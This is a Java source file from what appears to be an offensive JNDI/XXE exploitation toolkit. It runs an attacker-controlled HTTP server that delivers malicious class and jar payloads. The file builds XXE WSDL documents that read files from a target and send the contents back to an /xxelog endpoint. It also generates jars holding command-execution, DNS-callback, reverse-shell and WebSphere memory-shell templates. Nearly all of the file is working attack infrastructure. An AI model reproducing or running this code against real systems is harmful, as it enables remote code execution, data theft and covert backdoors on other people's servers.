package com.feihong.ldap;

import com.feihong.ldap.template.CommandTemplate;
import com.feihong.ldap.template.DnslogTemplate;
import com.feihong.ldap.template.ReverseShellTemplate;
import com.feihong.ldap.utils.Cache;
import com.feihong.ldap.utils.Config;
import com.feihong.ldap.utils.Util;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.lang3.reflect.FieldUtils;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.*;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;

public class HTTPServer {

    public static void start() throws IOException {

        HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);
        httpServer.createContext("/", new HttpHandler() {
            public void handle(HttpExchange httpExchange){
                try {
                    System.out.println("[+] New HTTP Request From " + httpExchange.getRemoteAddress() + "  " + httpExchange.getRequestURI());

                    String path = httpExchange.getRequestURI().getPath();
                    if(path.endsWith(".class")){
                        handleClassRequest(httpExchange);
                    }else if(path.endsWith(".wsdl")){
                        handleWSDLRequest(httpExchange);
                    }else if(path.endsWith(".jar")){
                        handleJarRequest(httpExchange);
                    }else if(path.startsWith("/xxelog")){
                        handleXXELogRequest(httpExchange);
                    }else{
                        httpExchange.sendResponseHeaders(404, 0);
                        httpExchange.close();
                        System.out.println("[!] Response Code: " + 404);
                    }
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });

        httpServer.setExecutor(null);
        httpServer.start();
        System.out.println("[+] HTTP Server Start Listening on " + Config.httpPort + "...");
    }

    public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {
        Object exchangeImpl = FieldUtils.readField(exchange, "impl", true);
        Object request = FieldUtils.readField(exchangeImpl, "req", true);
        String startLine = (String) FieldUtils.readField(request, "startLine", true);

//        System.out.println("[\u001B[31]mxxe attack result: " + startLine + "\u001B[0m");
        System.out.println("[+] XXE Attack Result: " + startLine);
        exchange.sendResponseHeaders(200, 0);
        exchange.close();
    }

    private static void handleJarRequest(HttpExchange exchange) throws IOException{
        String path = exchange.getRequestURI().getPath();
        String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));

        if(Cache.contains(jarName)){
            System.out.println("[+] Response Code: " + 200);

            byte[] bytes = Cache.get(jarName);
            exchange.sendResponseHeaders(200, bytes.length + 1);
            exchange.getResponseBody().write(bytes);
            System.out.println("[+] Stalling connection for 60 seconds");
            try{
                Thread.sleep(60000);
            }catch (InterruptedException e){
                e.printStackTrace();
            }
            System.out.println("[+] Release stalling...");
        }else{
            System.out.println("[!] Response Code: " + 404);
            exchange.sendResponseHeaders(404, 0);
        }
        exchange.close();
    }

    private static void handleClassRequest(HttpExchange exchange) throws IOException{
        String path = exchange.getRequestURI().getPath();
        String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf("."));
        System.out.println("[+] Receive ClassRequest: " + className + ".class");

        if(Cache.contains(className)){
            System.out.println("[+] Response Code: " + 200);

            byte[] bytes = Cache.get(className);
            exchange.sendResponseHeaders(200, bytes.length);
            exchange.getResponseBody().write(bytes);
        }else{
            System.out.println("[!] Response Code: " + 404);
            exchange.sendResponseHeaders(404, 0);
        }
        exchange.close();
    }

    private static void handleWSDLRequest(HttpExchange exchange) throws Exception {
        String query = exchange.getRequestURI().getQuery();
        Map<String, String> params = parseQuery(query);

        String path = exchange.getRequestURI().getPath().substring(1);

        if(path.startsWith("list")) {
            //intended to list directories or read files on server
            String file = params.get("file");
            if (file != null && !file.isEmpty()) {
                String listWsdl = "" +
                        "<!DOCTYPE x [\n" +
                        "  <!ENTITY % aaa SYSTEM \"file:///" + file + "\">\n" +
                        "  <!ENTITY % bbb SYSTEM \"http://" + Config.ip + ":" + Config.httpPort + "/http.wsdl\">\n" +
                        "  %bbb;\n" +
                        "]>\n" +
                        "<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
                        "  &ddd;\n" +
                        "</definitions>";

                System.out.println("[+] Response Code: " + 200);
                exchange.sendResponseHeaders(200, listWsdl.getBytes().length);
                exchange.getResponseBody().write(listWsdl.getBytes());
            } else {
                System.out.println("[!] Missing or wrong argument");
                System.out.println("[!] Response Code: " + 404);
                exchange.sendResponseHeaders(404, 0);
            }
            exchange.close();

        }else if(path.startsWith("upload")) {
            String type = params.get("type");

            String[] args = null;
            if (type.equalsIgnoreCase("command")) {
                args = new String[]{params.get("cmd")};
            } else if (type.equalsIgnoreCase("dnslog")) {
                args = new String[]{params.get("url")};
            } else if (type.equalsIgnoreCase("reverseshell")) {
                args = new String[]{params.get("ip"), params.get("port")};
            }

            String jarName = createJar(type, args);
            if (jarName != null) {
                String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.ip + ":" + Config.httpPort +
                        "/" + jarName + ".jar!/file.txt\"><a></a>";

                System.out.println("[+] Response Code: " + 200);
                exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
                exchange.getResponseBody().write(uploadWsdl.getBytes());
            } else {
                System.out.println("[!] Missing or wrong argument");
                System.out.println("[!] Response Code: " + 404);
                exchange.sendResponseHeaders(404, 0);
            }
            exchange.close();
        }else if(path.startsWith("http"))  {
            String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
                    Config.ip + ":" + Config.httpPort + "/xxelog?%aaa;\"/>&#39;>'>%ccc;";
            System.out.println("[+] Response Code: " + 200);
            exchange.sendResponseHeaders(200, xxhttp.getBytes().length);
            exchange.getResponseBody().write(xxhttp.getBytes());
            exchange.close();
        }else{
            System.out.println("[!] Response Code: " + 404);
            exchange.sendResponseHeaders(404, 0);
            exchange.close();
        }
    }

    private static Map<String, String> parseQuery(String query){
        Map<String,String> params = new HashMap<String, String>();

        try{
            for(String str : query.split("&")){
                try{
                    String[] parts = str.split("=",2);
                    params.put(parts[0], parts[1]);
                }catch(Exception e){
                    //continue
                }
            }
        }catch(Exception e){
            //continue
        }

        return params;
    }

    /*
         由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功
         这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题
         目前暂时认为其不会有问题，如果有问题，后面再修改
    */
    private static String createJar(String type, String... params) throws Exception {
        byte[] bytes = new byte[0];
        String className = "xExportObject";

        if (type.toLowerCase().equals("command")) {
            CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject");
            bytes = commandTemplate.getBytes();
        } else if (type.toLowerCase().equals("dnslog")){
            DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject");
            bytes = dnslogTemplate.getBytes();
        } else if (type.toLowerCase().equals("reverseshell")) {
            ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
            bytes = reverseShellTemplate.getBytes();
        } else if (type.toLowerCase().equals("webspherememshell")) {
            ClassPool classPool = ClassPool.getDefault();
            CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
            exploitClass.setName(className);
            exploitClass.detach();
            bytes = exploitClass.toBytecode();
        }else{
            return null;
        }

        System.out.println("[+] Name of Class in Jar: " + className);
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        JarOutputStream jarOut = new JarOutputStream(bout);
        jarOut.putNextEntry(new ZipEntry(className + ".class"));
        jarOut.write(bytes);
        jarOut.closeEntry();
        jarOut.close();
        bout.close();

        String jarName = Util.getRandomString();
        Cache.set(jarName, bout.toByteArray());

        return jarName;
    }
}
